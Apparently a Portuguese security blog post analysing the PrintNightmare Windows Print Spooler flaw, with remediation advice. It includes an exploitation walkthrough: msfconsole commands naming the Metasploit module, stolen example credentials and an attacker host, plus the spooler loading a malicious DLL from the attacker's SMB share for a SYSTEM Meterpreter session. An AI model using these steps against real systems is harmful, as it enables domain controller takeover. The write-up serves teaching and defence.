CVE-2021-34527 – PrintNightmare | Execução Remota via Spooler de Impressão

PrintNightmare (CVE-2021-34527): Execução Remota via Spooler de Impressão

Análise Técnica

O PrintNightmare, identificado como CVE-2021-34527 (e relacionado ao CVE-2021-1675), expôs uma fragilidade arquitetural no serviço Windows Print Spooler (spoolsv.exe). Este serviço, habilitado por padrão em quase todos os sistemas Windows, incluindo Controladores de Domínio, opera com privilégios de NT AUTHORITY\SYSTEM para gerenciar tarefas de impressão. A vulnerabilidade reside na função RpcAddPrinterDriverEx da interface RPC do Spooler.

Teoricamente, a instalação de drivers de impressora deveria ser uma operação privilegiada. No entanto, para facilitar a funcionalidade “Point and Print” (onde usuários conectam-se a impressoras compartilhadas e baixam drivers automaticamente), a Microsoft permitiu certa flexibilidade. A falha permite que um usuário autenticado (com qualquer nível de privilégio no domínio) injete um driver de impressora malicioso. O erro crítico de validação permite que o caminho do arquivo do “driver” aponte para um local remoto (UNC path) controlado pelo atacante, em vez de um arquivo local confiável. O serviço Spooler, rodando como SYSTEM, carrega essa DLL remota e executa seu ponto de entrada, concedendo RCE total.

Mapeamento e Exploração com Metasploit

A exploração via Metasploit é altamente confiável e demonstra a severidade de permitir o serviço Spooler em infraestrutura crítica.

  • Módulo: exploit/windows/dcerpc/cve_2021_1675_printnightmare
  • Vetor de Ataque: Rede (RPC sobre TCP/IP e SMB).
  • Requisitos: Credenciais válidas de um usuário de domínio (mesmo de baixo privilégio); Serviço Spooler ativo no alvo.

Cenário de Exploração Detalhado:

O atacante obteve acesso a uma credencial de usuário padrão, usuario.vendas, através de phishing ou força bruta.

  1. Preparação do Exploit:
    No msfconsole, o atacante seleciona o módulo e configura as credenciais roubadas. O módulo também requer a configuração de um servidor SMB malicioso (hospedado na máquina do atacante ou integrado ao Metasploit) para servir a DLL maliciosa.
    Bash
    msf6 > use exploit/windows/dcerpc/cve_2021_1675_printnightmare
    msf6 exploit(printnightmare) > set RHOSTS dc01.empresa.local
    msf6 exploit(printnightmare) > set SMBUser usuario.vendas
    msf6 exploit(printnightmare) > set SMBPass SenhaFraca123
    msf6 exploit(printnightmare) > set LHOST 10.0.0.50
  2. Execução e Injeção de DLL:
    Ao executar, o Metasploit conecta-se à interface RPC do Spooler no alvo. Ele invoca a função RpcAddPrinterDriverEx, passando argumentos que definem um novo driver. O caminho para o arquivo de configuração e dados do driver é apontado para \\10.0.0.50\share\malicious.dll.
  3. Elevação de Privilégio:
    O serviço Spooler no DC valida a solicitação (incorretamente), conecta-se ao compartilhamento SMB do atacante, baixa a DLL para um diretório local temporário (geralmente C:\Windows\System32\spool\drivers\…) e a carrega na memória do processo spoolsv.exe. Como o processo roda como SYSTEM, o código da DLL é executado com privilégios máximos, retornando uma sessão Meterpreter de nível SYSTEM para o atacante, sem necessidade de qualquer elevação de privilégio local prévia.

Remediação e Defesa em Profundidade

A mitigação do PrintNightmare foi complexa, com múltiplos patches sendo contornados inicialmente. A estratégia de defesa deve ser robusta.

  1. Desativação do Serviço: A medida mais eficaz e recomendada pela CISA e Microsoft é desativar o serviço Print Spooler em todos os Controladores de Domínio. DCs não devem ser usados como servidores de impressão. Utilize o comando PowerShell: Set-Service -Name Spooler -StartupType Disabled seguido de Stop-Service -Name Spooler.
  2. Restrição de Drivers via GPO: Para servidores de impressão legítimos que não podem ter o serviço parado, configure a política de grupo “Computer Configuration > Administrative Templates > Printers > Point and Print Restrictions”. Defina a chave de registro RestrictDriverInstallationToAdministrators como 1. Isso garante que apenas administradores possam instalar drivers, mitigando o vetor de ataque de usuários comuns.

Atualizações Cumulativas: Aplicar as atualizações de segurança lançadas a partir de julho de 2021 (KB5004948), que alteram o comportamento padrão da instalação de drivers, exigindo privilégios administrativos.

 

TAGS

No responses yet

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

CVE-2022-26923 – Certifried | Elevação de Privilégio via Atributos de Máquina

CVE-2022-26923 – Certifried | Elevação de Privilégio via Atributos de Máquina

Esta vulnerabilidade permite que qualquer usuário autenticado (que por padrão pode criar até 10 contas de máquina no AD[…]

Nmap, Pentest & PTES

Nmap, Pentest & PTES

A segurança de infraestruturas corporativas modernas depende intrinsecamente da capacidade de auditoria contínua e da validação rigorosa dos controles[…]

AD CS - ESC8: NTLM Relay via Web Enrollment

Active Directory Certificate Services – ESC8 | NTLM Relay via Web Enrollment

ESC8 não é uma falha de template, mas uma falha de configuração de serviço.